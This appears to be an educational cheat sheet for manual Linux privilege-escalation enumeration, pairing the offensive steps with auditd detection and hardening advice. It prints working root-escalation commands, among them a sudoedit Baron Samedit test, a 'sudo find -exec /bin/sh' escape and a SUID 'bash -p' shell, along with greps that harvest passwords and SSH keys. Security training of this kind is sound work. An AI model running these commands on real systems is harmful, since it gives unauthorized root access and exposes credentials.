Introduction / Overview
You have a shell. It is unprivileged, noisy, and probably a half-broken dash with no TTY. The gap between that foothold and root is almost always closed by enumeration, not by some exotic 0-day. The boring id, uname -a, and sudo -l triad finds more boxes than any single CVE.
This article is a focused cheat sheet for the manual Linux enumeration that matters during privilege escalation. It is the workflow I run on every OSCP-style box and on real authorized engagements before reaching for automated tooling. We will cover identity and kernel context, sudo rights, SUID binaries, listening services, and running processes — the exact six checks that most frequently produce a path to root.
Legal / ethical disclaimer: Everything below is for education and for testing on systems you own or are explicitly authorized to assess (signed scope, lab VMs, CTFs). Running these techniques against systems you do not have written permission to test is illegal in most jurisdictions. Stay in scope.
How it works / Background
Privilege escalation on Linux exploits a misconfiguration or vulnerability that lets a low-privileged user execute code in a higher-privileged context. The common vectors are:
- SUID/SGID binaries — files with the set-user-ID bit run as the file owner (often root) regardless of who launches them.
sudomisconfiguration — overly broadsudoersrules, or sudo CVEs likeCVE-2021-3156(Baron Samedit, heap overflow) andCVE-2019-14287(!rootrunas bypass).- Kernel exploits — e.g. Dirty Pipe (
CVE-2022-0847) orPwnKit/polkit (CVE-2021-4034), which depend on the exact kernel/distro version thatuname -areveals. - Exposed services — a database or admin daemon bound to
127.0.0.1and running as root, surfaced bynetstat/ss. - Credentials and cron — leaked secrets in process arguments visible to
ps aux.
Enumeration is the act of mapping the host against these vectors quickly and systematically.
Prerequisites / Lab setup
You only need an unprivileged shell on a target. To practice safely, spin up a deliberately vulnerable VM:
# Any of these are ideal for practising the workflow below
# - TryHackMe "Linux PrivEsc"
# - VulnHub images (e.g. the "Kioptrix" series)
# - HackTheBox "Easy" Linux boxesBashIf your shell is not interactive, upgrade it first so that sudo, job control, and tab completion behave:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# then Ctrl-Z, `stty raw -echo; fg`, Enter, EnterBashAttack walkthrough / PoC
1. Who am I and what kernel am I on
id # uid, gid, and crucially the supplementary groups
whoami
uname -a # kernel version, arch, hostname
cat /etc/os-release # distro and versionBashid output like uid=1000(user) groups=1000(user),4(adm),27(sudo),999(docker) is gold: membership in docker, lxd, disk, or adm is often a direct root path. The uname -a string (e.g. Linux victim 5.8.0-43-generic ... x86_64) tells you whether kernel exploits like Dirty Pipe (fixed in 5.16.11/5.15.25/5.10.102) are viable. Always confirm a kernel exploit's preconditions before firing it — a panic ends your engagement.
2. Check sudo rights
sudo -l # lists what the current user may run via sudoBashThis is the single highest-value command. Look for:
(ALL) NOPASSWD: /usr/bin/vim— abuse the program's shell escape (see GTFOBins).env_keepentries likeLD_PRELOADorLD_LIBRARY_PATH— load a malicious shared object.- An old
sudoversion — testCVE-2021-3156:
sudo -V | head -1 # e.g. "Sudo version 1.8.31"
# Baron Samedit affects < 1.9.5p2; check then exploit if vulnerable
sudoedit -s '\' $(python3 -c 'print("A"*1000)') # crash => likely vulnerableBashA classic GTFOBins escape, when find is permitted via sudo:
sudo find . -exec /bin/sh \; -quitBash3. Hunt SUID / SGID binaries
# SUID files owned by anyone, suppressing permission-denied noise
find / -perm -4000 -type f 2>/dev/null
# SGID
find / -perm -2000 -type f 2>/dev/null
# Both bits in one pass
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
# Capabilities (modern alternative to SUID)
getcap -r / 2>/dev/nullBashCross-reference each non-standard result against GTFOBins. A SUID nmap, find, bash, cp, or a custom binary is frequently exploitable. Example for a SUID bash:
/usr/bin/bash -p # -p preserves the effective uid -> euid root shellBash4. Listening services and connections
netstat is deprecated on many distros; learn ss too:
netstat -tulnp 2>/dev/null # TCP/UDP listening, numeric, with PID
ss -tulnp # modern equivalentBashPay attention to services bound to 127.0.0.1 — they are not reachable from your attack box but may run as root and be exploitable locally (e.g. a Redis on 6379, or an internal admin panel). Forward them out for inspection with SSH or chisel.
5. Running processes
ps aux # full process listing with users and args
ps aux | grep -i root # what runs as root
ps -ef --forest # parent/child tree
watch -n1 'ps -eo pid,user,cmd --sort=-pid | head' # catch cron jobsBashps aux exposes command-line arguments — passwords passed via --password= or -p, paths to scripts that may be world-writable, and short-lived cron jobs. Combine with a watch loop or pspy to catch root cron tasks you can hijack.
6. Quick wins checklist
crontab -l; cat /etc/crontab; ls -la /etc/cron.* # scheduled tasks
find / -writable -type d 2>/dev/null # writable dirs
cat /etc/passwd; ls -la /home/*/.ssh 2>/dev/null # users and keys
grep -RiIn "password" /etc /var/www 2>/dev/null # leaked creds
mount; cat /etc/fstab # nfs no_root_squash, etc.BashWhen you want to automate this baseline, LinPEAS runs all of the above and colour-codes likely wins — but always understand each finding manually first.
Mermaid diagram

Text description: from an unprivileged shell, establish identity and kernel context, then branch through sudo rights, SUID/capabilities, exposed services and processes, and kernel exploits — any branch that hits a misconfiguration or known CVE leads to a root shell.
Detection & Defense (Blue Team)
Enumeration is itself an observable behaviour. Defenders should give mitigation equal weight to the offensive technique.
Detect the enumeration:
- Filesystem-wide
findscans (find / -perm -4000) are noisy. Withauditd, watch for high-volumeexecveoffind,getcap, andsudo -lfrom service accounts:
# auditd rule to log every execution of sudo -l style discovery
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/sudo -k sudo_exec
ausearch -k sudo_execBash- Repeated
sudo -land reads of/etc/passwd,/etc/shadow,/etc/crontabmap to MITRE ATT&CK T1033 (System Owner/User Discovery), T1082 (System Information Discovery), and T1518 (Software Discovery). EDR/Falco rules can alert on these patterns.
Reduce the attack surface:
- Minimise SUID: audit with
find / -perm -4000yourself and strip the bit (chmod u-s) from anything that does not need it. Prefer file capabilities scoped tightly over blanket SUID. - Tighten sudoers: never grant
NOPASSWDto interpreters or programs with shell escapes (vim,less,find,awk,nmap). Usevisudovalidation,Defaults !env_resetcarefully, and avoidenv_keepforLD_*. - Patch promptly: keep
sudo,polkit, and the kernel current. PwnKit (CVE-2021-4034) and Baron Samedit (CVE-2021-3156) both have vendor patches; Dirty Pipe (CVE-2022-0847) is fixed in 5.16.11/5.15.25/5.10.102. - Hardening flags: mount
/tmp,/var/tmp, and/dev/shmwithnosuid,noexec,nodev; setno_root_squashoff on NFS exports; restrict who can read process command lines withhidepid=2on/proc. - Don't pass secrets on the command line: they leak via
ps aux. Use environment files or secret stores instead.
For related lateral-movement and credential topics, see Linux SUID Privilege Escalation, Abusing sudo Misconfigurations, and Linux Kernel Exploits in Practice.
Conclusion
Privilege escalation rarely starts with an exploit; it starts with disciplined enumeration. Run the six checks — id, uname -a, sudo -l, SUID hunting, netstat/ss, and ps aux — in order, and you will surface the vast majority of misconfigurations that lead to root. Automated tools like LinPEAS accelerate this, but reading each finding by hand is what builds the instinct that wins boxes and real engagements. For defenders, the same list is a hardening checklist: shrink SUID, lock down sudoers, hide /proc, and patch the named CVEs.
References
- MITRE ATT&CK — Privilege Escalation (TA0004): https://attack.mitre.org/tactics/TA0004/
- MITRE ATT&CK — T1548.001 Setuid and Setgid: https://attack.mitre.org/techniques/T1548/001/
- GTFOBins: https://gtfobins.github.io/
- HackTricks — Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- PEASS-ng (LinPEAS): https://github.com/peass-ng/PEASS-ng
- CVE-2021-3156 (Baron Samedit): https://nvd.nist.gov/vuln/detail/CVE-2021-3156
- CVE-2021-4034 (PwnKit): https://nvd.nist.gov/vuln/detail/CVE-2021-4034
- CVE-2022-0847 (Dirty Pipe): https://nvd.nist.gov/vuln/detail/CVE-2022-0847



Comments